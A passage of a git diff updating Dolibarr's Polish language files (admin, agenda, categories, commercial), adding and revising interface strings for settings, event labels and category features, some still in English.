zarezerwowane dla programistów z ograniczeniami. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Rodzaj jednostki SetupSaved=Konfiguracja zapisana SetupNotSaved=Ustawienia nie zapisane +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Powrót do listy modułów BackToDictionaryList=Powrót do listy słowników TypeOfRevenueStamp=Rodzaj znaku skarbowego @@ -1222,7 +1237,7 @@ SetupDescription4= %s -> %s

      To oprogramowanie jest SetupDescription5=Pozycje w menu Inne Ustawienia zarządzają parametrami opcjonalnymi. SetupDescriptionLink= %s - %s SetupDescription3b=Podstawowe parametry używane do dostosowania domyślnego zachowania Twojej aplikacji (np. w przypadku funkcji związanych z krajem). -SetupDescription4b=To oprogramowanie to zestaw wielu modułów/aplikacji. Moduły związane z Twoimi potrzebami muszą być włączone i skonfigurowane. Wpisy menu pojawią się wraz z aktywacją tych modułów. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Zdarzenia dotyczące bezpieczeństwa poddawane inspekcji NoSecurityEventsAreAduited=Żadne zdarzenia dotyczące bezpieczeństwa nie są poddawane inspekcji. Możesz je włączyć z menu %s Audit=Wydarzenia związane z bezpieczeństwem @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Parametry mogą być ustawiane tylko przez użytkowników z SystemInfoDesc=System informacji jest różne informacje techniczne można uzyskać w trybie tylko do odczytu i widoczne tylko dla administratorów. SystemAreaForAdminOnly=Ten obszar jest dostępny tylko dla administratorów. Uprawnienia użytkownika Dolibarr nie mogą zmienić tego ograniczenia. CompanyFundationDesc=Edytuj informacje o swojej firmie/organizacji. Po zakończeniu kliknij przycisk „%s” u dołu strony. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=Jeśli masz zewnętrznego księgowego, możesz tutaj edytować jego informacje. AccountantFileNumber=Kod księgowego DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Wyzwalacze w tym pliku są aktywne jako modułu % GeneratedPasswordDesc=Wybierz metodę, która ma być używana w przypadku haseł generowanych automatycznie. DictionaryDesc=Wprowadź wszystkie potrzebne dane. Wartości można dodać do ustawień domyślnych. ConstDesc=Ta strona umożliwia edycję (nadpisanie) parametrów niedostępnych na innych stronach. Są to w większości parametry zarezerwowane tylko dla programistów / zaawansowanego rozwiązywania problemów. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Inne powiązane parametry bezpieczeństwa są zdefiniowane tutaj LimitsSetup=Ograniczenia / Precision konfiguracji LimitsDesc=Tutaj możesz zdefiniować limity, dokładności i optymalizacje używane przez Dolibarr @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Należy uruchomić to polecenie YourPHPDoesNotHaveSSLSupport=funkcji SSL nie są dostępne w PHP DownloadMoreSkins=Więcej skórek do pobrania SimpleNumRefModelDesc=Zwraca numer referencyjny w formacie %syymm-nnnn, gdzie rr to rok, mm to miesiąc, a nnnn to sekwencyjna liczba automatycznie zwiększająca się bez resetowania +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Zwraca numer referencyjny w formacie %syymm-nnnn, gdzie rr to rok, mm to miesiąc, a nnnn to sekwencyjna liczba automatycznie zwiększająca się bez resetowania SimpleNumRefNoDateModelDesc=Zwraca numer referencyjny w formacie %s-nnnn, gdzie nnnn jest sekwencyjną liczbą, automatycznie zwiększającą się bez resetowania ShowProfIdInAddress=Pokaż profesjonalny identyfikator z adresami ShowVATIntaInAddress=Ukryj wewnątrzwspólnotowy numer VAT @@ -1380,7 +1399,7 @@ GetBarCode=Pobierz kod kreskowy NumberingModules=Numeracja modeli DocumentModules=Modele dokumentów ##### Module password generation -PasswordGenerationStandard=Zwróć hasło wygenerowane zgodnie z wewnętrznym algorytmem Dolibarr: %s znaków zawierających wspólne liczby i małe litery. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Nie sugeruj wygenerowanego hasła. Hasło należy wpisać ręcznie. PasswordGenerationPerso=Powrót hasło zależności osobiście określonej konfiguracji. SetupPerso=Zgodnie z twoją konfiguracją @@ -1434,6 +1453,10 @@ SuppliersPayment=Płatności dostawcy SupplierPaymentSetup=Konfiguracja płatności dostawcy InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Konfiguracja modułu ofert handlowych ProposalsNumberingModules=Commercial wniosku numeracji modules @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Znak wodny w szkicach projektów (brak jeśli pust ##### Members ##### MembersSetup=Członkowie konfiguracji modułu MemberMainOptions=Główne opcje +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Zarządzanie logowania dla każdego członka AdherentMailRequired=Adres e-mail wymagany do utworzenia nowego członka MemberSendInformationByMailByDefault=Checkbox wysłać mail z potwierdzeniem do członków jest domyślnie MemberCreateAnExternalUserForSubscriptionValidated=Utwórz zewnętrzny login użytkownika dla każdej zweryfikowanej subskrypcji nowego członka -VisitorCanChooseItsPaymentMode=Odwiedzający może wybierać spośród dostępnych sposobów płatności +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Włącz automatyczne przypominanie przez e-mail o wygasłych subskrypcjach. Uwaga: Moduł %s musi być włączony i poprawnie skonfigurowany, aby wysyłać przypomnienia. MembersDocModules=Szablony dokumentów dla dokumentów wygenerowanych na podstawie rekordu członka ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Uaktywnij FCKeditor za: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG tworzenie/edycja linii szczegółów produktów dla wszystkich podmiotów (oferty, zamówienia, faktury itp.). Ostrzeżenie: Używanie tej opcji w tym przypadku zdecydowanie nie jest zalecane, ponieważ może powodować problemy ze znakami specjalnymi i formatowaniem stron podczas tworzenia plików PDF. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= Tworzenie/edycja WYSIWYG do masowego e-mailingu (Narzędzia-> eMailing) FCKeditorForUserSignature=WYSIWIG tworzenie / edycja podpisu użytkownika FCKeditorForMail=Tworzenie/edycja WYSIWYG dla całej poczty (z wyjątkiem Narzędzia->eMailing) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Menu obsługi gdzie pokazać nowe menu DetailMenuModule=Moduł nazwę w menu, jeśli pochodzą z modułem DetailType=Rodzaj menu (na górze lub po lewej) DetailTitre=Menu etykiety lub etykiety kod tłumaczenia -DetailUrl=Adres URL, pod którym menu wysyłamy (Absolute URL lub link zewnętrzny link z http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Warunek, aby pokazać lub nie wejścia DetailRight=Warunek, aby wyświetlić menu nieautoryzowanych szary DetailLangs=Lang nazwy etykiety kodów @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Użyj typów wydarzeń (zarządzanych w menu Ustawienia -> AGENDA_USE_EVENT_TYPE_DEFAULT=Automatycznie ustaw tę domyślną wartość dla typu zdarzenia w formularzu tworzenia wydarzenia AGENDA_DEFAULT_FILTER_TYPE=Automatycznie ustaw ten typ wydarzenia w filtrze wyszukiwania widoku planu AGENDA_DEFAULT_FILTER_STATUS=Automatycznie ustawiaj ten stan dla wydarzeń w filtrze wyszukiwania w widoku planu zajęć +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Który widok chcesz otworzyć domyślnie po wybraniu menu Plan AGENDA_REMINDER_BROWSER=Włącz przypomnienie o zdarzeniu w przeglądarce użytkownika (Kiedy nadejdzie data przypomnienia, przeglądarka wyświetli wyskakujące okienko. Każdy użytkownik może wyłączyć takie powiadomienia w ustawieniach powiadomień przeglądarki). AGENDA_REMINDER_BROWSER_SOUND=Włącz powiadomienia dźwiękowe @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Zmniejszenie zapasów w POS nie jest CashDeskYouDidNotDisableStockDecease=Nie wyłączono zmniejszania zapasów podczas dokonywania sprzedaży w punkcie sprzedaży. Dlatego wymagany jest magazyn. CashDeskForceDecreaseStockLabel=Wymuszono zmniejszenie zapasów dla produktów seryjnych. CashDeskForceDecreaseStockDesc=Zmniejsz najpierw według najstarszych dat przydatności do spożycia i sprzedaży. -CashDeskReaderKeyCodeForEnter=Kod klucza dla „Enter” zdefiniowany w czytniku kodów kreskowych (Przykład: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Zakładka konfiguracji modułu BookmarkDesc=Ten moduł pozwala zarządzać zakładkami. Możesz także dodawać skróty do dowolnych stron Dolibarr lub zewnętrznych stron internetowych w lewym menu. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Modele numerowania faktur od dostawców IfSetToYesDontForgetPermission=Dla wartości innej niż null, nie zapomnij udzielić uprawnień grupom lub użytkownikom, którzy mają realizować drugie zatwierdzanie ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind konfiguracji modułu -PathToGeoIPMaxmindCountryDataFile=Ścieżka do pliku bazy danych GeoIP firmy MaxMind z krajowymi lokalizacjami adresów IP.
      Przykłady:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/Leo2 +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Pamiętać, że dane państwo ip do pliku musi być wewnątrz katalogu PHP może odczytać (sprawdzenie konfiguracji PHP open_basedir i uprawnienia systemu plików). YouCanDownloadFreeDatFileTo=Możesz pobrać darmową wersję demo kraju GeoIP plik Maxmind w %s. YouCanDownloadAdvancedDatFileTo=Możesz także pobrać bardziej kompletna wersja, z aktualizacjami, kraju GeoIP plik Maxmind w %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Kreator do utworzenia pliku zrzutu bazy danych BackupZipWizard=Kreator do utworzenia archiwum katalogu dokumentów SomethingMakeInstallFromWebNotPossible=Instalacja zewnętrznych modułów za pomocą interfejsu sieciowego nie jest możliwa z powodu następujących przyczyn: SomethingMakeInstallFromWebNotPossible2=Z tego powodu, proces ulepszenia (upgrade) jest procesem ręcznym, przeprowadzanym jedynie przez użytkownika uprzywilejowanego. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Instalacja zewnętrznych modułów z poziomu aplikacji została wyłączona przez administratora. Musisz poprosić go o usunięcie pliku %s aby włączyć odpowiednią funkcję. ConfFileMustContainCustom=Instalowanie lub budowanie modułu zewnętrznego z poziomu Dolibarr wymaga zapisania plików modułu w katalogu %s. Dolibarr będzie przetwarzał ten katalog jeśli w pliku conf/conf.php będzie miał odpowiednie wpisy:
      $dolibarr_main_url_root_alt='/ custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Highlight table lines when mouse move passes over @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Usuń znaki specjalne COMPANY_AQUARIUM_CLEAN_REGEX=Filtr Regex do czyszczenia wartości (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Filtr Regex do czyszczenia wartości (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplikat jest niedozwolony +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Inspektor ochrony danych osobowych (kontakt w sprawie ochrony danych lub RODO) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Tekst pomocy do wyświetlenia w podpowiedzi @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Katalog docelowy skrzynki pocztowej EmailcollectorOperations=Operacje do wykonania przez kolekcjonera EmailcollectorOperationsDesc=Operacje są wykonywane od góry do dołu MaxEmailCollectPerCollect=Maksymalna liczba e-maili zebranych na odbiór +TestCollectNow=Test collect CollectNow=Zbierz teraz ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Data ostatniej próby odbioru @@ -2109,6 +2140,7 @@ CodeLastResult=Kod najnowszego wyniku NbOfEmailsInInbox=Liczba e-maili w katalogu źródłowym LoadThirdPartyFromName=Załaduj wyszukiwanie osób trzecich na %s (tylko ładowanie) LoadThirdPartyFromNameOrCreate=Załaduj wyszukiwanie osób trzecich na %s (utwórz, jeśli nie znaleziono) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Wiadomość z rozmowy zainicjowanej pierwszym e-mailem wysłanym przez Dolibarr WithoutDolTrackingID=Wiadomość z rozmowy zainicjowanej pierwszym e-mailem NIE wysłanym od Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Etykieta projektu PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=Jeśli chcesz, aby niektóre teksty w pliku PDF zostały skopiowane w 2 różnych językach w tym samym wygenerowanym pliku PDF, musisz ustawić tutaj ten drugi język, aby wygenerowany plik PDF zawierał 2 różne języki na tej samej stronie, ten wybrany podczas generowania pliku PDF i ten ( tylko kilka szablonów PDF to obsługuje). Pozostaw puste dla 1 języka na plik PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Wpisz tutaj kod ikony FontAwesome. Jeśli nie wiesz, co to jest FontAwesome, możesz użyć ogólnej wartości fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Współpraca AGENDA_EVENT_DEFAULT_STATUS=Domyślny status zdarzenia podczas tworzenia zdarzenia z formularza YouShouldDisablePHPFunctions=Powinieneś wyłączyć funkcje PHP IfCLINotRequiredYouShouldDisablePHPFunctions=Z wyjątkiem sytuacji, gdy musisz uruchamiać polecenia systemowe w niestandardowym kodzie, powinieneś wyłączyć funkcje PHP -PHPFunctionsRequiredForCLI=Do celów powłoki (takich jak zaplanowane tworzenie kopii zapasowych zadań lub uruchamianie programu anitivurs), musisz zachować funkcje PHP +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=W katalogu głównym nie znaleziono zapisywalnych plików ani katalogów dla powszechnych programów (Dobrze) RecommendedValueIs=Zalecane: %s Recommended=Zalecana NotRecommended=Niepolecane -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Sprawdź aktualizacje modułów zewnętrznych CheckForModuleUpdateHelp=Ta akcja połączy się z edytorami zewnętrznych modułów, by sprawdzić dostępność ich nowych wersji. ModuleUpdateAvailable=Aktualizacja jest dostępna @@ -2264,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Ustawienia inwentaryzacji ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Ustawienia WebhookSetupPage = Webhook setup page @@ -2288,6 +2321,8 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one DarkThemeMode=Dark theme mode @@ -2307,3 +2342,37 @@ UsePassword=Use a password UseOauth=Use a OAUTH token Images=Images MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/pl_PL/agenda.lang b/htdocs/langs/pl_PL/agenda.lang index f06e3eea152..de10dd27d63 100644 --- a/htdocs/langs/pl_PL/agenda.lang +++ b/htdocs/langs/pl_PL/agenda.lang @@ -38,13 +38,14 @@ ActionsEvents=Zdarzenia, dla których Dolibarr stworzy automatycznie zadania w a EventRemindersByEmailNotEnabled=Przypomnienia o wydarzeniach przez e-mail nie zostały włączone w konfiguracji modułu %s. ##### Agenda event labels ##### NewCompanyToDolibarr=Kontrahent %s utworzony -COMPANY_MODIFYInDolibarr=Zmodyfikowano %s innej firmy -COMPANY_DELETEInDolibarr=Usunięto stronę trzecią %s +COMPANY_MODIFYInDolibarr=Zmodyfikowano kontrahenta %s +COMPANY_DELETEInDolibarr=Usunięto kontrahenta %s ContractValidatedInDolibarr=Umowa %s potwierdzona CONTRACT_DELETEInDolibarr=Kontrakt %s usunięty PropalClosedSignedInDolibarr=Propozycja %s podpisana PropalClosedRefusedInDolibarr=Propozycja %s odrzucona PropalValidatedInDolibarr=Zatwierdzenie oferty %s +PropalBackToDraftInDolibarr=Propozycja %s wycofana do szkicu PropalClassifiedBilledInDolibarr=Propozycja %s sklasyfikowana jako rozliczona InvoiceValidatedInDolibarr=Zatwierdzenie faktury %s InvoiceValidatedInDolibarrFromPos=Faktura %s potwierdzona z POS @@ -56,16 +57,19 @@ MemberValidatedInDolibarr=Członek %s potwierdzony MemberModifiedInDolibarr=Użytkownik %s zmodyfikowany MemberResiliatedInDolibarr=Członek %s został usunięty MemberDeletedInDolibarr=Członek %s usunięty +MemberExcludedInDolibarr=Członek%s wykluczony MemberSubscriptionAddedInDolibarr=Subskrypcja %s dla członka %s dodana MemberSubscriptionModifiedInDolibarr=Subskrypcja %s dla członka %s zmodyfikowana MemberSubscriptionDeletedInDolibarr=Subskrypcja %s dla członka %s usunięta ShipmentValidatedInDolibarr=Przesyłka %s potwierdzona ShipmentClassifyClosedInDolibarr=Wysyłka %s sklasyfikowana jako rozliczona ShipmentUnClassifyCloseddInDolibarr=Przesyłka %s sklasyfikowana ponownie otwarta -ShipmentBackToDraftInDolibarr=Przesyłka %s wróć do statusu wersji roboczej +ShipmentBackToDraftInDolibarr=Przesyłka %s cofnięta do szkicu ShipmentDeletedInDolibarr=Przesyłka %s usunięta -ShipmentCanceledInDolibarr=Shipment %s canceled +ShipmentCanceledInDolibarr=Wysyłka %s anulowana ReceptionValidatedInDolibarr=Odbiór %s został zweryfikowany +ReceptionDeletedInDolibarr=Reception %s deleted +ReceptionClassifyClosedInDolibarr=Odbiór %s sklasyfikowany jako zamknięty OrderCreatedInDolibarr=Zamówienie %s utworzone OrderValidatedInDolibarr=Zatwierdzenie zamówienia %s OrderDeliveredInDolibarr=Zamówienie %s sklasyfikowanych dostarczonych. @@ -74,27 +78,28 @@ OrderBilledInDolibarr=Zamówienie %s sklasyfikowanego obciążonego OrderApprovedInDolibarr=Akceptacja zamówienia %s OrderRefusedInDolibarr=Zamówienie %s odmówione OrderBackToDraftInDolibarr=Zmiana statusu zamówienia %s na draft -ProposalSentByEMail=Oferta handlowa %s wysłana pocztą elektroniczną -ContractSentByEMail=Umowa %s wysłana pocztą elektroniczną -OrderSentByEMail=Zamówienie sprzedaży %s wysłane pocztą elektroniczną -InvoiceSentByEMail=Faktura dla klienta %s wysłana pocztą elektroniczną -SupplierOrderSentByEMail=Zamówienie %s wysłane pocztą elektroniczną +ProposalSentByEMail=Oferta handlowa %s wysłana mailem +ContractSentByEMail=Umowa %s wysłana mailem +OrderSentByEMail=Zamówienie sprzedaży %s wysłane mailem +InvoiceSentByEMail=Faktura dla klienta %s wysłana mailem +SupplierOrderSentByEMail=Zamówienie zakupowe %s wysłane mailem ORDER_SUPPLIER_DELETEInDolibarr=Zamówienie zakupu %s zostało usunięte SupplierInvoiceSentByEMail=Faktura dostawcy %s wysłana pocztą elektroniczną -ShippingSentByEMail=Przesyłka %s wysłana pocztą elektroniczną +ShippingSentByEMail=Przesyłka %s wysłana mailem ShippingValidated= Przesyłka %s potwierdzona InterventionSentByEMail=Interwencja %s wysłana pocztą elektroniczną +ProjectSentByEMail=Project %s sent by email ProposalDeleted=Oferta usunięta OrderDeleted=Zamówienie usunięte InvoiceDeleted=Faktura usunięta DraftInvoiceDeleted=Wersja robocza faktury została usunięta CONTACT_CREATEInDolibarr=Kontakt %s został utworzony -CONTACT_MODIFYInDolibarr=Skontaktuj się z %s zmodyfikowany +CONTACT_MODIFYInDolibarr=Kontakt %s zmodyfikowany CONTACT_DELETEInDolibarr=Kontakt %s został usunięty PRODUCT_CREATEInDolibarr=Produkt %s utworzony PRODUCT_MODIFYInDolibarr=Produkt %s zmodyfikowany PRODUCT_DELETEInDolibarr=Produkt %s usunięty -HOLIDAY_CREATEInDolibarr=Utworzono wniosek o urlop %s +HOLIDAY_CREATEInDolibarr=Wniosek o urlop %s utworzony HOLIDAY_MODIFYInDolibarr=Wniosek o urlop %s zmodyfikowany HOLIDAY_APPROVEInDolibarr=Wniosek o urlop %s został zatwierdzony HOLIDAY_VALIDATEInDolibarr=Wniosek o urlop %s został zatwierdzony @@ -157,13 +162,14 @@ DateActionBegin=Data startu wydarzenia ConfirmCloneEvent=Czy jesteś pewien, że chcesz powielić zdarzenie %s? RepeatEvent=Powtórz wydarzenie OnceOnly=Tylko raz +EveryDay=Każdego dnia EveryWeek=Każdego tygodnia EveryMonth=Każdego miesiąca DayOfMonth=Dzień miesiąca DayOfWeek=Dzień tygodnia DateStartPlusOne=Data rozpoczęcia + 1 godzina -SetAllEventsToTodo=Ustaw wszystkie wydarzenia do wykonania -SetAllEventsToInProgress=Ustaw wszystkie wydarzenia na w toku +SetAllEventsToTodo=Ustaw wszystkie wydarzenia na "do wykonania" +SetAllEventsToInProgress=Ustaw wszystkie wydarzenia na "w toku" SetAllEventsToFinished=Ustaw wszystkie wydarzenia na zakończone ReminderTime=Okres przypomnienia przed wydarzeniem TimeType=Typ czasu trwania @@ -171,4 +177,5 @@ ReminderType=Typ oddzwaniania AddReminder=Utwórz automatyczne przypomnienie o tym wydarzeniu ErrorReminderActionCommCreation=Błąd podczas tworzenia przypomnienia o tym wydarzeniu BrowserPush=Powiadomienie o wyskakującym okienku przeglądarki -ActiveByDefault=Enabled by default +ActiveByDefault=Włączone domyślnie +Until=dopóki diff --git a/htdocs/langs/pl_PL/categories.lang b/htdocs/langs/pl_PL/categories.lang index 655c7527a51..5f3e70adada 100644 --- a/htdocs/langs/pl_PL/categories.lang +++ b/htdocs/langs/pl_PL/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=Ten członek nie jest w żadnym tagu/kategorii ContactHasNoCategory=Ten kontakt nie jest w żadnym z tagów / kategorii ProjectHasNoCategory=Ten projekt nie należy do żadnego tagu / kategorii ClassifyInCategory=Dodaj do tagu/kategorii +RemoveCategory=Remove category NotCategorized=Bez znaczników / kategorii CategoryExistsAtSameLevel=Ta kategoria już istnieje w tym samym miejscu ContentsVisibleByAllShort=Zawartość widoczna przez wszystkich @@ -67,6 +68,7 @@ StockCategoriesShort=Tagi / kategorie magazynowe ThisCategoryHasNoItems=Ta kategoria nie zawiera żadnych przedmiotów. CategId=Tag / ID kategorii ParentCategory=Tag / kategoria nadrzędna +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=Etykieta tagu / kategorii nadrzędnej CatSupList=Lista tagów / kategorii dostawców CatCusList=Lista tagów / kategorii klientów / potencjalnych klientów @@ -86,15 +88,18 @@ DeleteFromCat=Usuń z tagów/kategorii ExtraFieldsCategories=Atrybuty uzupełniające CategoriesSetup=Tagi / kategorie Konfiguracja CategorieRecursiv=Związek z dominującą tag / kategorii automatycznie -CategorieRecursivHelp=Jeśli opcja jest włączona, po dodaniu produktu do podkategorii, produkt zostanie również dodany do kategorii nadrzędnej. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=Dodaj następujący produkt / usługę AddCustomerIntoCategory=Przypisz kategorię do klienta AddSupplierIntoCategory=Przypisz kategorię do dostawcy +AssignCategoryTo=Assign category to ShowCategory=Pokaż tag / kategoria ByDefaultInList=Domyśłnie na liście ChooseCategory=Wybrane kategorie StocksCategoriesArea=Kategorie magazynów +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=Kategorie zdarzeń WebsitePagesCategoriesArea=Kategorie kontenerów stron KnowledgemanagementsCategoriesArea=KM article Categories UseOrOperatorForCategories=Użyj operatora „OR” dla kategorii +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/pl_PL/commercial.lang b/htdocs/langs/pl_PL/commercial.lang index f77528ca035..5e014d59d4f 100644 --- a/htdocs/langs/pl_PL/commercial.lang +++ b/htdocs/langs/pl_PL/commercial.lang @@ -59,10 +59,10 @@ ActionAC_FAC=Wyślij fakturę/rozliczenie pocztą ActionAC_REL=Wyślij fakturę/rozliczenie pocztą (ponaglenie) ActionAC_CLO=Blisko ActionAC_EMAILING=Wyślij mass maila -ActionAC_COM=Wyślij zamówienie pocztą +ActionAC_COM=Wyślij zamówienie sprzedażowe mailem ActionAC_SHIP=Wyślij wysyłki za pośrednictwem poczty -ActionAC_SUP_ORD=Wyślij zamówienie pocztą -ActionAC_SUP_INV=Wyślij 